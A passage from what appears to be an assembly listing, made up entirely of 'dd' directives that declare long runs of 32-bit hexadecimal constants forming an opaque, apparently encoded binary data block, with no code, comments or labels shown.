8523C90Eh, 0F073E095h, 262E6C1h, 397443CDh, 9DE06ECFh dd 0D724A5BBh, 64013457h, 0F3019CA2h, 98901CD0h, 405A7AC8h dd 6D0038D6h, 6B604ED2h, 71DD45h, 0A37CB4CCh, 829A08FCh dd 0A4908370h, 3069F808h, 987800F7h, 0CA9BC121h, 0F2952C00h dd 0DD2B7A0Ah, 0B0F6484Eh, 7FF44C00h, 6FE413AEh, 0DB341B00h dd 7FBA428h, 0A74000B8h, 0BFF27454h, 5E00CC89h, 0F6712406h dd 0A88FA2h, 622AD46Eh, 3DFCD9F8h, 94A37E01h, 0DFBF1778h dd 1512C4h, 0AE86E4B2h, 0B862474Ch, 94B5F200h, 0DAAC6B32h dd 7CF40542h, 901BB384h, 0F09B4918h, 0E63B5600h, 226C99B6h dd 5BA900AEh, 0F1E2172Ah, 0D00021B5h, 9402967Bh, 10DB36h dd 0C3ABFA7Ah, 0B32DC205h, 0D0098407h, 0AEA0370Ch, 4DE37Bh dd 0A9419C0h, 0C23217E7h, 8B347302h, 40871149h, 43BE2Bh dd 0ED8E4E92h, 0FDC22957h, 8F45E403h, 0F013DF81h, 0A7D86Ch dd 0C6607D2Eh, 0EB63FC0Fh, 0B8F9FA01h, 0F4C91C34h, 90DD32F8h dd 26AF000Ch, 9FCABE7h, 0CD000318h, 1FCC4A44h, 0B8DD79B1h dd 0F2AD0032h, 783FD19Eh, 7213CB35h, 0F4608985h, 3A60A668h dd 0E012EF0Eh, 160C0F95h, 11022240h, 0AD2CDD35h, 8185E077h dd 6D80DA2Fh, 75436846h, 1AD2009Fh, 350177B7h, 0C000471Dh dd 0CE117413h, 7B22DAE8h, 3850735Ah, 83000662h, 71EBC035h dd 0DB0024CBh, 8E739AE0h, 0F224813h, 0C6CDD1E4h, 52E18482h dd 0BCB2F446h, 0E2D10B00h, 3F2947D3h, 0AE0500F1h, 3EC8B4CDh dd 1C7D7E08h, 0ADB7A305h, 0A4C02A3Ch, 71B10Fh, 4A063D17h dd 651E79E1h, 3F00777Fh, 265AEC5Fh, 1EE43B0h, 0D8AE5867h dd 0C8DBC5F2h, 4507B2C0h, 0E45CCC54h, 10E65900h, 467201D2h dd 0E206045Dh, 7AAC4817h, 87ECC02h, 617F8E40h, 0F3C49408h dd 0C76B07E0h, 905856D1h, 0A6554C67h, 37029C00h, 384713D4h dd 218A1F7Fh, 9AB4C0F0h, 30855483h, 31D9EFCh, 0A3004AE2h dd 0B8C06345h, 0F4E700CEh, 23A4F3D6h, 0D4008E7Eh, 0E0C2F174h dd 1493CB58h, 908A99DCh, 0D520AB01h, 0C4AE9DF3h, 0B00056Fh dd 0F5523D42h, 7F3F807Ch, 0E31E0056h, 6B37172Fh, 6C784B36h dd 0B006E201h, 381A2E5Dh, 1FB30AD0h, 0C1C110D7h, 390F99EAh dd 0E802CB9Fh, 9DEE26C5h, 80B08307h, 904F891Ch, 9E68ECh dd 46B9F9C0h, 5153C510h, 0ABC8951Fh, 214C4940h, 0DAA3FAh dd 0F1CEA058h, 6B3374DFh, 69A53000h, 8B7F24D4h, 0D770002Eh dd 0FD654B56h, 70E8E8Dh, 0E3449D32h, 0F096BF50h, 646E0CBh dd 0CE4E3CA9h, 0BA0021C4h, 945C020Fh, 0B47740h, 0E607915Eh dd 3E8805FDh, 3B113D5Ch, 3800799Fh, 4DAB8172h, 0EECF13D0h dd 0CEF819h, 0E85E2A4Ch, 0E085B587h, 80BB663Bh, 0A678EB80h dd 90F9C543h, 0BDE60713h, 60643E7Dh, 0F84F4A1Fh, 8FF09C00h dd 7B42882Bh, 56E706CBh, 587438BAh, 0E6ACB900h, 8224046Fh dd 1226008Eh, 0EC0DEAE9h, 5D001D74h, 53332A3Dh, 9AD542h dd 0D2E99454h, 83359BCCh, 61F8A00h, 0EB3897F0h, 0B8CD07C9h dd 230854E4h, 33A0ECD7h, 0B3021565h, 76ED4449h, 0A4503Eh dd 563A91C0h, 0C32E08Bh, 0F1EFCB00h, 7E870B9h, 0C6D11202h dd 8EB09081h, 0AD0105CEh, 0AEAA13F5h, 16F46BE1h, 1A0B089h dd 463BB009h, 201D54E3h, 97007E6Fh, 2683732h, 240EA03Ch dd 0FCE667h, 0F871F059h, 0A0C2216h, 909FA673h, 4E12FADBh dd 6CA400EEh, 6B7E7F3Fh, 8A19D773h, 6AB80FCAh, 373109Fh dd 0EDE45D08h, 0F0703100h, 47E6AD9Dh, 0B6AC3A77h, 0EE0F5C00h dd 3A46A750h, 5470FB00h, 0ED1EA151h, 8A890018h, 0C7665AF0h dd 470E6A27h dd 94EEA37Fh, 8B770548h, 3C407E09h, 23E3ADB5h, 148E3D5Fh dd 0A473088Ah, 0E85B0018h, 468762EDh, 8DDA591Dh, 0DF68123Dh dd 0B909487h, 3FD90961h, 0C680C822h, 0E1FCB0EEh, 0AA043A67h dd 0E6ECD135h, 2AD2ECC0h, 0B10C0308h, 513B9A42h, 7FEB5EF0h dd 727BE3Eh, 31E3FBA3h, 5FBF1CF0h, 7A5E0A8h, 0B620AD67h dd 0F4BA60ABh, 45009926h, 70B4892Bh, 7A9905Dh, 0E5723723h dd 99B2C068h, 0ED097B5Fh, 0E028F082h, 7AA7A84h, 0CAAE4837h dd 0A6A781ECh, 739717EFh, 40711F98h, 0A82BB4A2h, 4B89EAA7h dd 600C60FCh, 1D7511BFh, 6E20358Ch, 0AB38C1E3h, 8047CB6Ch dd 56995B49h, 0A8A364E5h, 185344A4h, 11AEF0AFh, 0BF08655Ah dd 2B1DCAh, 25B290DAh, 608429C2h, 0E44248F2h, 5A88AD64h dd 0C0F368A5h, 0C4709D50h, 479F0BA3h, 4DE06466h, 486AE50Dh dd 310C00ACh, 25E01C73h, 0AF2C1F14h, 0A883D84h, 8C946EEDh dd 0F1430C80h, 0E72D93h, 7D47BEA8h, 0D883998Bh, 0CC86DC0Fh dd 1C60D802h, 0E50A0761h, 8F6AF3D7h, 0C17036CCh, 88F2D130h dd 1D854579h, 80539E4Fh, 705D7F3Eh, 4B3C6F49h, 41950186h dd 4A69DB84h, 28927CD0h, 3D50DABh, 97487942h, 40B773AFh dd 884326F2h, 686E5100h, 6FDB5E78h, 0F44008Ch, 6D4F8A42h dd 5C00884Ch, 4B9A4D84h, 0F123496Ah, 785F385Ch, 0E9757899h dd 628C184Ah, 7A787708h, 67B05167h, 764F7060h, 906AEE49h dd 62860047h, 4D0BF275h, 0A1E5196h, 2400776Eh, 107E8C53h dd 0AE233069h, 6F14A5D1h, 6B69A1F0h, 0E1C8E539h, 81282FF0h dd 25A82110h, 0C85305BFh, 8008B2E4h, 346FB0F8h, 12BC9037h dd 4224430Bh, 0FE1F261Ch, 2071C849h, 8A6F3F36h, 38401229h dd 16871E4Ch, 72A10AB1h, 2CB4F5h, 3D2BBCD7h, 0F4532D03h dd 21DD3B0Ch, 0E2636205h, 50301840h, 15F61E18h, 506FAF58h dd 3126508Eh, 0A541BFA8h, 5BE98383h, 0AD9BCD8h, 25E74B19h dd 71A58578h, 0B558089Fh, 3B9DE477h, 0F91DC4F2h, 66B00E74h dd 8001C416h, 0E422A1C3h, 0CC24A467h, 13C01823h, 0A6705839h dd 0F174ACFAh, 12E05C18h, 24CAF519h, 8BE4321Eh, 950917B1h dd 1C66B802h, 1BE6FCC0h, 0F2F950B0h, 6810E919h, 594C3ABCh dd 0EA5B03B8h, 0F9DC505Dh, 0C409C70h, 547135DAh, 504E98CEh dd 3DA95836h, 2AA91331h, 1077D164h, 2A6B831Ch, 818CE864h dd 20929BCh, 4A1158B8h, 75398C2Ch, 19023098h, 4C53EE90h dd 487202F8h, 612344E7h, 2608E15Ch, 0DC8E3F22h, 0C193DB40h dd 32B805D7h, 0E428E68Ch, 0A65204D4h, 0C96FAC7Bh, 0F298907Ch dd 8E646781h, 8B9196BEh, 0F5A24480h, 51F46154h, 4C662744h dd 912C6A88h, 6428ACEEh, 984CC342h, 16482828h, 145E254h dd 0DAE05B90h, 220C233Dh, 8025572Fh, 6199FE34h, 40EDB40Ch dd 7B31838Ch, 0FC042259h, 88AF539Fh, 27450B0Bh, 10F47888h dd 10DA8505h, 20819425h, 405B990h, 3293FC28h, 73D725A7h dd 9946F080h, 2E2A140Ch, 0EA79098Ch, 0C20C9F51h, 0A03E15DEh dd 4245F2A8h, 85CF220Dh, 99921A80h, 0A0580C30h, 9CADACBAh dd 0A11E1951h, 92096EEEh, 0A07CF5B1h, 0A38985F0h, 0A81404E2h dd 25ACDF42h, 1F385129h, 50AF600Ch, 0CEA8AB90h, 71361A1Dh dd 9BA2B1B2h, 32817CA8h, 2C79E80Bh, 0ABD9D899h, 0B2655821h dd 2C6A4C52h, 0C4D71088h, 2BC16F59h, 803CEE64h, 0ED8B6C10h dd 98D4BF5Eh, 2D363E04h, 2C407744h, 0CC64526Ah, 0DFACE004h dd 0A38480D4h, 2314BE83h, 1FC44B87h, 2022E516h, 21245056h dd 2F45A8A8h, 0D9B03C37h, 8DF4DC17h, 3C8EE8A2h, 7D328F08h dd 0D8A8F253h, 0FEDEE13Ch, 203CFAA0h, 0C25F2FAAh, 39DA4400h dd 1F6DC3BCh, 2E08D5A2h, 79684160h, 5606D86Ah, 1721735Ch dd 3300A51Ah, 0C51965F9h, 8A24091Fh, 78C45B7Ah, 0B7399300h dd 8D691966h, 293C00C2h, 926D3340h, 0D101F94Fh, 1A681E67h dd 0CC24568Ah, 0CA5F88E1h, 0B40C3C0Eh, 6E9DA740h, 0A0F84270h dd 0AF280210h, 8B3DD103h, 4F00A45Ah, 0ADC8EB68h, 0B2417Eh dd 3B974EDCh, 0E424155Fh, 5A135300h, 0C328B4EEh, 5730399h dd 42F69B78h, 0BCE916E0h, 3D4C4700h, 49081CCCh, 62C80068h dd 7E797FAFh, 6107EB73h, 27E3B1A5h, 0FCA9A10h, 4E52061Ah dd 89E40BF0h, 4A3AE200h, 0ECA99F9h, 0B05D001Dh, 69CFCB7Bh dd 0EEE48473h, 80284D3Ch, 30F5B1Eh, 931C68h, 8296F1EFh dd 35808F72h, 60E76926h, 58138580h, 0F05A88FEh, 0D8C73E3Ah dd 8364E50Ah, 21C192B4h, 0C808B5FCh, 76504531h, 0B3061DA6h dd 840C2360h, 2B7800A1h, 0FC34A772h, 2F0712F0h, 4F43F3C6h dd 68824C47h, 2CA087B5h, 0C02676F2h, 92F684h, 50737A38h dd 9B556A98h, 56DA801h, 0CC337B56h, 0E4E930h, 78B5E2D0h dd 7D811F92h, 0D20D6903h, 0E0F6406Bh, 7C1B6F83h, 0C46818BCh dd 708429B6h, 8F1D07F8h, 46C030D4h, 38852803h, 0CE0C0736h dd 0B0AF50D2h, 6B91DD17h, 57D7CD04h, 5AC081E1h, 16471B84h dd 0D2C3A8h, 9FCA7DEAh, 777B54AAh, 0CD720700h, 0BA1FF8D6h dd 0B1E30053h, 0C3AA9CE4h, 74142F5Eh, 0E1201A17h, 5A1802ABh dd 2A13A406h, 30A3D3h, 0BB877C37h, 0CDE868BDh, 31095463h dd 172000A4h, 95DD8774h, 30F4EAEh, 87C72E47h, 1DF7A3D7h dd 8C4C894Fh, 49E8BBh, 0DB43194h, 69DDFBC1h, 0D3013E72h dd 214EFD15h, 7AC0C040h, 0A8540EF8h, 0ADA070E7h, 0F40251E3h dd 0CD1CC30Ah, 5D129096h, 8054CF10h, 0BDB28745h, 2D448C20h dd 877D3F7Eh, 62501F00h, 173E2326h, 2B6A1400h, 0B177AC46h dd 1A872054h, 0E9C1470Ch, 182FA0FEh, 182B085Dh, 510604D5h dd 0A7DCBDC4h, 50D74858h, 2F771103h, 2791EE40h, 0B8089808h dd 31B6C21h, 55B5B111h, 0B018D4F2h, 0EF99302Ah, 7297172h dd 0D3977C04h, 58218376h, 3E8987E8h, 0C37EF900h, 0DD1BBBE8h dd 20ECA0F2h, 4143602Bh, 0B008EBCCh, 0F75B1800h, 976A7095h dd 0BDA80090h, 553C1BAAh, 8D0042C9h, 440FB512h, 4453D374h dd 2F294648h, 4A1BD8CEh, 16C7E0A1h, 52A97890h, 0C8B7784Dh dd 1EECB3C0h, 43D3018Dh, 0F6BD0CAh, 6800D7ACh, 2623E1C3h dd 5E75CF9h, 0ED7FD13Ch, 6CEC0795h, 43911CCCh, 0A08209C0h dd 0EA3B3D57h, 12220697h, 79311072h, 29CFCC33h, 327690C0h dd 29A10389h, 83474523h, 2100CDFBh, 21A8EFC7h, 0EBBB869h dd 0EE492DA4h, 86E54978h, 0B2948F02h, 615ADA1Bh, 3420D2FCh dd 41048C16h, 40BDB687h, 12202E62h, 36A8779h, 0AC29900Fh dd 0D1F0FDBBh, 0BA152761h, 44708A83h, 7E00E398h, 0DF4D143Bh dd 36B57481h, 4021D147h, 182AF100h, 4928AF87h, 0C7880080h dd 0C1315EB2h, 8F188BADh, 4ED0B07Eh, 7D491DAh, 0B99E3161h dd 6019E804h, 23B9873Eh, 2B1178BDh, 87761500h, 0EC8EC152h dd 1E445F00h, 31847847h, 0D27F0055h, 0C9B4CE0Bh, 6D14FE03h dd 1294AA9Ah, 0FC20CC85h, 193B7E3h, 20BE513Eh, 988E48A8h dd 9D9DE08h, 67930080h, 2934366Ah, 0A61C9F7Ch, 84459A24h dd 0B58071DFh, 48F650B1h, 1D075833h, 0C92440EFh, 829C6B08h dd 29C07C8Eh, 90D1CC40h, 6AD53700h, 3C3473Eh, 29B260DDh dd 0ED3B9996h, 0B0E6F400h, 1B5A720Eh, 0D3640449h, 10A93D4Fh dd 11823F4h, 0BDB8873Fh, 88301870h, 0CAA17714h, 2B8C4253h dd 0A042706Ah, 2BE44C45h, 2EE91F60h, 20565202h, 0A4C24938h dd 88143E0h, 8213CC4Ah dd 0B7F8808Fh, 96052E6Ch, 0D4CF84B0h, 9F1BBC40h, 1FF20D6h dd 0EF8C8353h, 3062CAB6h, 0CE2AD4A6h, 0C70EC0D9h, 0E7EE5793h dd 0DED3C3D5h, 0EA41A099h, 1CA79E3h, 0CE22AB66h, 50DDBE48h dd 87BD790h, 53D95E00h, 16209E49h, 0A70ECB2h, 3528652Fh dd 0D3A80980h, 60BC1884h, 23761125h, 0BC11382Fh, 111E6902h dd 0E080792Dh, 0CF50B55Ch, 61BF1C0h, 0A0A2527Eh, 2C474EACh dd 0AA00ACE1h, 3C6E49D0h, 4593B480h, 448C5651h, 0BD000ADAh dd 0B2AEAA93h, 375530D3h, 0A0B81FB3h, 0BB20A92Fh, 3B2E8A7Eh dd 0C8007F04h, 6AA2DDEEh, 788CB3ADh, 0A3062EC1h, 7EC94F51h dd 3C838B8h, 9C6EA4h, 5FC11823h, 4729578Ch, 0AB0AD031h dd 0E68080C6h, 0A01D3F43h, 247A016Dh, 214B66B5h, 0B02EF8B3h dd 4A748300h, 29473B4Fh, 2384A8CAh, 39750CB3h, 0A849C7B1h dd 307F7E00h, 9A2EEBCBh, 0FE2D0008h, 0B404D29Dh, 29CBFF48h dd 3A0C102Ah, 7B0C1CADh, 301243ECh, 0F4D836EDh, 0C11C1D46h dd 4C8614B5h, 0C61D5A8h, 0CEAC7AD4h, 7904F249h, 684B25E9h dd 695358C2h, 2187FE5Ch, 0A0E9718Fh, 0A1C496ADh, 49C8BB60h dd 1E97A804h, 4075F27Ch, 47351D24h, 3304CE51h, 3E3C7D2Fh dd 2ED43491h, 0C04664E0h, 4C8C1C10h, 550CE76Ah, 69C4B0CDh dd 151EA32h, 78D8AD67h, 0FCD4954Eh, 82152565h, 98CBCFh dd 0FE8DA91Dh, 0E88F53Dh, 4053223Eh, 56C0A5AEh, 211EF8BCh dd 823CAB48h, 0E0BD204Eh, 9A9CF3A4h, 0C2573280h, 0A7C3D31Ch dd 0ADAF5900h, 78622E4Fh, 7359003Fh, 0E1BDF8F9h, 6498DC47h dd 97800499h, 0BB801474h, 0E3D300F5h, 3DE4DE5Eh, 4F497C6Ah dd 0B584C64h, 88C430D6h, 5C80D45Ah, 69A2E41Fh, 7DAB00B9h dd 50C5DBFCh, 51543BF7h, 3E04FB1Ch, 8D7546F1h, 88124488h dd 3C6050D2h, 852F7151h, 0AC1D50F8h, 3BBD00B5h, 0AA9FC52Dh dd 0BB00AD56h, 0EF49189Eh, 31475137h, 465087B9h, 0B247230h dd 0A09516F0h, 8F3D6D4h, 78C013C5h, 4CC847C4h, 9899192Bh dd 843181Ch, 50BDB487h, 37B8070h, 284F4387h, 63C01290h dd 0DD1A029Dh, 4160C87Eh, 20198140h, 2F266B30h, 80C44020h dd 11176843h, 6D5350E8h, 991BEB00h, 9C315A83h, 0CF5503ADh dd 4A7B1CEAh, 0D4CEDBD9h, 0FE722952h, 8CFC9D28h, 24480648h dd 76C08079h, 464B22E9h, 4FC2250h, 0B5E96E8Ch, 2C7C9142h dd 1E30F438h, 0C11C8700h, 0F825EE46h, 0AB4300EDh, 316F9895h dd 3A50105Dh, 0D709B49Ch, 11E0C11Ah, 84367040h, 4393B602h dd 0C0C7A651h, 93BF0C01h, 63FCB066h, 0CA3C01F7h, 4C848FBAh dd 0C5608A27h, 0D781B8C1h, 1D60852Eh, 55A08C28h, 15843BB7h dd 0EC2354AEh, 988D8203h, 2EE8664Ah, 4726EDE0h, 4E405035h dd 0C0ADDC05h, 0E7A66361h, 4D04FF0Bh, 0B144257Fh, 3380C8h dd 0D3CB2D47h, 0E161E54Eh, 22FA8618h, 72653270h, 0B14980F3h dd 98D06777h, 0D50B03A8h, 6D07C51h, 0A7C9F149h, 0A57520E3h dd 1399480Ch, 0A3110EDh, 76D4A989h, 0E96DC0E0h, 88464B21h dd 931DFA22h, 9540E985h, 493ED30Fh, 0E8AF30C9h, 0B1468451h dd 48D2AB2Eh, 0F4DB2912h, 21C29DC4h, 901A0643h, 2908420h dd 1608164h, 0D22085F4h, 0F8404048h, 0F0A5DE61h, 9E6096DCh dd 6DD009Eh, 3A193BA6h, 4ADFFD00h, 9B8262ACh, 0F8ED0EA3h dd 0CFACC948h, 4F0C42F0h, 41B5DC12h, 5D6F0069h, 84A10FC6h dd 6D00DB77h, 2142B16Ch, 7EF255E8h, 0DC9E0A83h, 3AF8BB16h dd 0B02C54C9h, 9BE34018h, 0A5E62701h, 0CE1E337Dh, 99C0E60Fh dd 257D6A76h, 492404C5h, 0C450BB13h, 0C8489834h, 837D1710h dd 0C0E95F37h, 9D458726h, 0B7D8A604h, 1DC4E3BBh, 0CE4E8802h dd 8B704044h, 0DC538031h, 0F777111Eh, 187C8FC2h, 680C802Dh dd 0F84E6C2Ah, 18485064h, 0FD81394h, 0C8A800BEh, 0E903BAC3h dd 46D8E850h, 1F44284Ch, 0A55FF7C2h, 0E7C098FAh, 242E4399h dd 16E0E249h, 0BC3C2077h, 80F7051Bh, 0E0B32840h, 9B3347h dd 6598DBCBh, 759A9372h, 6879767Ah, 0A7901A0Fh, 97960073h dd 0C6EE5E77h, 28605A26h, 0A5436977h, 6C06948Fh, 677D305Fh dd 5AF8AEEAh, 1979220h, 626B9B63h, 0C474A593h, 0AA0632A0h dd 64A89A76h, 71960D90h, 0D318A166h, 6063A5B8h, 64A99C0Eh dd 75998678h, 719D7428h, 69F6067h, 6665A691h, 5A6C78C3h dd 62311F97h, 0D159F7A8h, 48AA5E5Ch, 3254EE0Ch, 70009984h dd 68A19374h, 0A0A75F69h, 289C6288h, 0E8145D6Bh, 0CFDD07B9h dd 8191E159h, 0A68EB6FBh, 1901E449h, 0F0D53060h, 0B8343180h dd 3D5647C5h, 25735200h, 71C02883h, 23B40067h, 0CA810FAAh dd 0A9002C24h, 15BFF4B3h, 7CDAA896h, 35FD0791h, 0E3E6C1C8h dd 0B7F9395Bh, 527180B6h, 8AE4D09Bh, 0CAE94054h, 98766D07h dd 96F6723Ah, 187D1D28h, 1745020Ah, 0E003F348h, 6EA128CEh dd 0B210E518h, 68C82B5Bh, 0F6E04392h, 1BB3311Dh, 118CD9Ah dd 0EDD4142Ch, 1391011h, 0A4E23415h, 0E50FCE40h, 0AF4B1D10h dd 0CF5B833h, 95FA1559h, 0A8A41A30h, 2CFEF028h, 1792444h dd 589F1BE8h, 5034F33Dh, 4429D6B4h, 0F4A12C14h, 5D4810D0h dd 9618FC8h, 2F0C3355h, 5225C00Ch, 33F3305Ah, 0EF1838ECh dd 809C8889h, 0C18C1668h, 64D52DDFh, 413EC8EDh, 0AD1C7592h dd 0E33DC43h, 0A40CF9F1h, 0A153198h, 39189962h, 564C87DCh dd 842058EAh, 1FFB5722h, 0A4B9B833h, 0B9981818h, 2530BCD6h dd 2E1A31C4h, 9618CAD8h, 0F0728A4Ch, 0E89B1458h, 0FD914230h dd 0DB48E014h, 81396F28h, 3EE87D96h, 0F1CDA449h, 3685C90Ah dd 0C1B8C474h, 44DC2C2Ch, 0C4854A2Bh, 0CFC83141h, 0EA509019h dd 1057B288h, 0CB9A84F5h, 0F794103Fh, 0C24298A7h, 0D4881FCAh dd 2C0150A0h, 504F2A89h, 28D7EC84h, 1228A10Bh, 0C73C841Ah dd 46841828h, 0DA54A17Ah, 1123210Ah, 46D0A8A2h, 0EFE013F5h dd 6C885C24h, 1B9144B6h, 0DC116099h, 0EB8E9609h, 0EC0E6011h dd 61DA4F17h, 0B7848240h, 0AE2796h, 45A34E7Bh, 989558C8h dd 159B0920h, 5AB2B712h, 9C90A048h, 53BE1F8Eh, 8FA44CC7h dd 0B953B610h, 4017134Ch, 4529832h, 912549F8h, 3C5C1BB0h dd 46390C3Eh, 1E113C17h, 1074E34Ch, 0E0125D48h, 89DC32FAh dd 4109A893h, 90269678h, 93DB4168h, 13848A4h, 8A1C36BEh dd 16A601D9h, 1C6AA4F8h, 8F53625Ah, 75619969h, 0D2A95F2Bh dd 0AAA2E4C3h, 8E97D9C0h, 93BD3C03h, 0E7CE746Fh, 529569B1h dd 0EC302071h, 7896EAB8h, 942B3A9Bh, 11286C36h, 64A59C1Fh dd 71979003h, 0C0529B5Dh, 7969566h, 536979B8h, 0E809CB78h dd 8460F087h, 669E076Bh, 91649DD2h, 45A9BF8h, 7A7FC0FAh dd 0E799860h, 6265635Dh, 5818926Ah, 0B8922615h, 414FC09h dd 122480C4h, 57FBC96h, 253611F7h, 0A18497D0h, 705DFA75h dd 0C81335B0h, 4C41F272h, 2FA5D079h, 1463870h, 0D82FDCAh dd 60E94CA4h, 350F7A14h, 0F65C8BA6h, 1E810C18h, 0CBBE0FECh dd 97007B82h, 0D1D7E2E3h, 48055700h, 9AB2D533h, 7C5D1D9Ch dd 0E9A445EFh, 8174C768h, 0BE11D7B8h, 7BFB0F70h, 7181F8E8h dd 0B29633CBh, 61B3A0D9h, 73630878h, 0A848B79h, 0FD06C1C0h dd 282967Ch, 54AEEA6Eh, 0BF3F7CB4h, 10DD7C2Dh, 23970D84h dd 868E4C6h, 0A5FB708Dh, 0D838808h, 0CEF82E57h, 0DD20ACC6h dd 15BF0D27h, 6404B4Fh, 2B1E509Ch, 0A314DB61h, 18EB82D4h dd 0A08CBBD2h, 8FF36481h dd 99808118h, 0A3032529h, 4098E804h, 452E5643h, 18D32210h dd 0D700C1F8h, 27AC1EE0h, 7C90BCCCh, 14DCB108h, 0D37848F2h dd 284C1548h, 6415AE89h, 0F591EE6h, 3D2155FCh, 7090E687h dd 7F98EACFh, 470054F2h, 0B8A99973h, 0EEA6605Bh, 9F913C69h dd 0C578762Ch, 0A8508079h, 54B05D65h, 0B21D2BF8h, 9D134785h dd 3FDC7C80h, 0D241298Ch, 4D898744h, 0ACC770BCh, 0C9535367h dd 8D150F04h, 0CC68A79h, 80030868h, 0E473779Bh, 0BA8F7451h dd 0F07862F6h, 88318442h, 0C21094B2h, 8038E8A0h, 3E81342Eh dd 0A66CD05Ch, 0ED12F708h, 308A0A27h, 219DDAD1h, 0B0C421A6h dd 0C381444Dh, 86764A4h, 701042C4h, 886E2E14h, 0DF9CBE26h dd 5E2ED705h, 52B1C461h, 50008C59h, 684B79BAh, 19182817h dd 12960999h, 48942497h, 22929195h, 91904493h, 8F128E89h dd 8D488C24h, 8B228A91h, 89898844h, 0E0871386h, 0FA488AF6h dd 3142F67Fh, 0EDC1B283h, 0EFB89439h, 9792B284h, 525F5904h dd 0BC80C608h, 9B3DD76Bh, 33F19C0Fh, 80F38F4Bh, 0D1EDD808h dd 0EEECB3h, 0D75A983Ch, 0F14C99ABh, 0D154D1F7h, 0E3BCE1BBh dd 1C644020h, 90F73204h, 0B3CA0E68h, 99A187D2h, 535E5D82h dd 1FFA5F48h, 4A56FD04h, 8688CC36h, 7A46821Ch, 0BE408CC8h dd 5C384B29h, 66986404h, 9D407E7Bh, 0A08967ACh, 0A0A309C8h dd 0FD048518h, 1B6F7057h, 0E656BF03h, 0E1D26640h, 10431557h dd 95339AE3h, 0D8696038h, 0F207A396h, 3F6C56D6h, 187C64C7h dd 0B9CA1EDEh, 0A7F1811Ah, 43F5BC84h, 43E0C11Ch, 0D20A3E79h dd 2836CE14h, 70EAFA45h, 175495E4h, 1541B061h, 309F87EEh dd 0B1850073h, 0A0265182h, 7F006478h, 5B4A32BAh, 347A495h dd 6A93BD16h, 66889778h, 7974EE18h, 0A6917400h, 0A8958675h dd 93600362h, 7FCB5997h, 0E86979E1h, 64E8758Ah, 74779C03h dd 0A75232B1h, 677985C0h, 40AC6199h, 0F064AA69h, 6A797B9Dh dd 40335F2Ah, 0AD1E60F8h, 73077671h, 9EC11798h, 89E16775h dd 98823049h, 98635A6Ch, 0F47A1C99h, 0CB80925Dh, 6AA502AFh dd 6CA66067h, 95DF609Ah, 0FA5A45DCh, 0A66AA420h, 57ACE81Dh dd 5F761867h, 60A4E4A8h, 64A22502h, 45635067h, 696A8530h dd 66C40095h, 6F9868A3h, 7C648A15h, 80CB8F38h, 0B76FAA8Eh dd 746B7D9Eh, 2314A591h, 7F328040h, 538EDC6Fh, 993A5F71h dd 0A58A1579h, 67A40EF8h, 59EF7D63h, 86505770h, 344E289h dd 4B88BD14h, 0B4E0827Ah, 0A93A8A66h, 98620961h, 8E34816Dh dd 356974h, 268F63D0h, 9B466B5h, 98206F67h, 0A2AE5F62h dd 968A271Fh, 0F0E860D3h, 0CB28506Ch, 7CA9D11Fh, 0A06E2066h dd 0A8926FA6h, 0EC654871h, 58FE506Bh, 0DC29A761h, 5D1C91ACh dd 57692476h, 6BA40030h, 6887CE67h, 56917725h, 58A15A98h dd 0E56077B8h, 65546062h, 9A2C7BF0h, 950FAD97h, 915C035Eh dd 634013A1h, 0CEC000A8h, 627870A6h, 5A60530Eh, 12738F65h dd 3C8E8C00h, 0C76D9691h, 1E679B56h, 0FD394AFh, 2B0E5EFCh dd 5CA00372h, 1019A699h, 94609B62h, 58DDE7D3h, 979D3689h dd 93D88155h, 0AB202B64h, 6F91E865h, 0A5E930A8h, 67D4A255h dd 9413FF5Ah, 6360A012h, 0FFD03EABh, 0A583F852h, 52C27468h dd 0DC05D4ECh, 0CE7760ACh, 0F01D6098h, 5E790F7Fh, 0FE9E5295h dd 25B893FCh, 0FF7AB05Ch, 0E575C89h, 5A8984h, 902B6AE8h dd 3085F9ABh, 857364A5h, 7072FF7Ch, 5F0C7BAAh, 164769D8h dd 2A79374h, 73A4B5C4h, 6797B4C1h, 765313E4h, 0C0980C62h dd 0FFA36598h, 0A4E3DC61h, 7797D881h, 75AAE1E3h, 1C48C462h dd 9E2523Dh, 0C4C25A66h, 6765E494h, 0C091AA50h, 62FD8C40h dd 48702070h, 7D7CFC5Fh, 1F68DF95h, 9A7602A6h, 20E467A5h dd 2C219096h, 9A3C0F49h, 0BC415D80h, 50343060h, 2B6658C0h dd 3E6DA593h, 0B066655Bh, 895380DCh, 17504818h, 0CDB5BAEh dd 7C8EB0EBh, 858A2D1Dh, 64C18493h, 291EDEABh, 0D11866B4h dd 64C86443h, 98141472h, 0EF68676Ah, 86758900h, 7764A796h dd 6A2ED8B0h, 85B9647Bh, 7473979Ah, 0F8CD1856h, 73CE5010h dd 17807448h, 44696677h, 0BA966220h, 6097F0D1h, 773A443Ch dd 6AA59909h, 0D49E3CE4h, 0A0129863h, 2E5D55A6h, 39809C64h dd 759F9Eh, 69798D62h, 762E9399h, 5807905Fh, 5447B97Bh dd 6502CC8h, 21719B67h, 62637404h, 89BF79A9h, 0F6806500h dd 0CB06C85Bh, 1768A2BBh, 54D7983h, 0D47393E0h, 8B342EE8h dd 62B8C1AFh, 68D0507Dh, 9EAF0FBBh, 90DC376Bh, 6A933AB6h dd 1DB8F0D0h, 7B7E18h, 6BA96014h, 0AD3BCE69h, 7421E170h dd 78C8A766h, 71A62893h, 0E85897C8h, 647790CBh, 85EE27E0h dd 6A388008h, 869F5F10h, 67669401h, 0E3D39783h, 0BE288E99h dd 0B5123A60h, 0DC1C10A8h, 0D873621Fh, 0AA95209Eh, 9169641Eh dd 5F277F7Ah, 0B9B80BA5h, 0C45233E0h, 8C808879h, 5652A841h dd 47DDEC28h, 0C6925D71h, 9A0AD84Bh, 0DC636675h, 79CE143Ah dd 0D3D841D0h, 6C7880FFh, 0A14C935Ah, 82507804h, 0A9029180h dd 3FF81F75h, 0A6B08576h, 7053F040h, 5FA5945Dh, 65DC3158h dd 529DE077h, 67E97564h, 4A58A90Ah, 983662DCh, 30C2605Ah dd 0D11F61A9h, 5B7882D4h, 44419F5Eh, 29F44D91h, 0F0D29364h dd 702042A7h, 0F787C30h, 6269718Ch, 7FE8790Ch, 12F0C0D0h dd 188B746Ah, 5A46B0FEh, 63A61394h, 7CDC0078h, 75A49982h dd 0F777CB07h, 0BC60C0E4h, 6F4B3B5h, 168898A0h, 5200413Ah dd 0BB899640h, 33F2374Ch, 4A0854B3h, 49732100h, 0F3667F96h dd 4635067Ah, 80EDD511h, 7425C00Ch, 3C15883h, 0BB8E6BD8h dd 0DAC05CDDh, 4518C091h, 93208D70h, 307DF078h, 9C10BF3Ch dd 